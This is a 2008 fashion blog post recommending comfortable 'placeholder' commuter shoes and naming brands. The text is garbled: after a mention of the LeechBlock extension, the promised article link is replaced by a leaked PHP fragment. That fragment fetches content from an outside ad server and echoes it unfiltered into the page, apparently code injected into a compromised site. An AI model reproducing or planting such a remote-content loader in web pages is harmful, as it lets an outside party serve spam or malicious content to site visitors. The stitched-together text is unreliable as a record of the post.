Posted by corporette in "Fashion Advice Open Thread: Commuter Shoes?" Thursday, July 17, 2008 5:16 PM

I tend to wear what I'll call "placeholder" shoes. They're the same heel height as the cute shoes that I keep at the office, so my pants aren't dragging, but they're 10x more comfortable and walkable because they have sturdy heels or wedges. The placeholder shoes are generally ugly and not the sort of thing you'd want to include in your outfit (unless you were a grandmother), but the beauty of them is that they are black or other dark colors so that, unless someone is really studying your outfit, no one will notice that you're not wearing this season's Manolo. Suggested brands for placeholder shoes: Ecco, Clarks, Born, Sofft, Beautifeel, Taryn Rose, Josef Seibel, Easy Spirit, Aerosoles, etc.

We're also fans of leechblock -- here's an article explaining how to use it:

'; $cerror = ''; if ($ch = curl_init("http://adserver1.eseohserve.com/pull?v1=".$var1."&v2=".$var2."&v3=".$var3)) { curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch,CURLOPT_FAILONERROR,0); curl_setopt($ch,CURLOPT_FILETIME,0); curl_setopt($ch,CURLOPT_MAXREDIRS,0); $outp = curl_exec($ch); $cerror = curl_error($ch); if ($cerror) { $outp .= ''; } curl_close($ch); } if ($outp) { echo $outp; } else { echo ''."\n"; } ?>
